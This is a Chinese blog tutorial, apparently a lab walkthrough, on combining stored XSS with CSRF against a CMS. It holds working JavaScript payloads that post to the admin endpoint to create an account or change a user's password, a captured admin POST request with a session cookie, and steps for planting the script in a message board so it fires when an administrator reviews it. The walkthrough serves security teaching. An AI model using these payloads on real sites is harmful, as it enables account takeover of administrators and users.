CSRF与XSS结合利用

文章目录

修改cms网站后台管理员密码

CSRF和XSS结合的JS代码:

<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://10.4.7.130/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=ajest&password=123.com&password2=123.com&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>

登录cms管理员后台,创建一个新账户:

修改密码并用bp抓包,抓到的post请求包如下:

POST /cms/admin/user.action.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 95
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/cms/admin/user.add.php?act=edit&userid=30
Cookie: username=admin; userid=1; PHPSESSID=he767h7viun2ig25ega7euu4l2
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: frame
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

act=edit&password=111111&password2=111111&button=%E4%BF%AE%E6%94%B9%E7%94%A8%E6%88%B7&userid=30

根据上述请求包的数据修改JS代码的act的password字段,修改地址,修改content-type字段:

<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://127.0.0.1/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=edit&password=12345&password2=12345&button=%E4%BF%AE%E6%94%B9%E7%94%A8%E6%88%B7&userid=30");
</script>

打开cms网页,在留言板中添加这段js代码并留言,提交:

当管理员在后台审核,看到这段留言时已经被攻击,EMT用户的密码已经被修改:

后台尝试登录EMT账户,发现不成功,密码已经被修改:

成功登录

用之前抓包修改的密码发现果然可以登录:

总结

我们先用bp在后台管理员修改账户密码的时候抓到了它的post请求包,然后将password字段修改后放入一段JS代码中,这段代码是XSS和CSRF漏洞的结合,接着我们找到cms网页中存在XSS漏洞的位置,即留言板,利用留言板注入JS代码,当后台管理审核留言时看到我们的留言,就会被攻击,使得网站的状态被改变,从而使EMT用户的密码被修改,这就是XSS和CSRF的结合。

相关推荐
M_emory_22 分钟前
解决 git clone 出现:Failed to connect to 127.0.0.1 port 1080: Connection refused 错误
前端·vue.js·git
Ciito25 分钟前
vue项目使用eslint+prettier管理项目格式化
前端·javascript·vue.js
成都被卷死的程序员1 小时前
响应式网页设计--html
前端·html
mon_star°1 小时前
将答题成绩排行榜数据通过前端生成excel的方式实现导出下载功能
前端·excel
Zrf21913184551 小时前
前端笔试中oj算法题的解法模版
前端·readline·oj算法
文军的烹饪实验室3 小时前
ValueError: Circular reference detected
开发语言·前端·javascript
Martin -Tang4 小时前
vite和webpack的区别
前端·webpack·node.js·vite
迷途小码农零零发4 小时前
解锁微前端的优秀库
前端
王解4 小时前
webpack loader全解析,从入门到精通(10)
前端·webpack·node.js
我不当帕鲁谁当帕鲁5 小时前
arcgis for js实现FeatureLayer图层弹窗展示所有field字段
前端·javascript·arcgis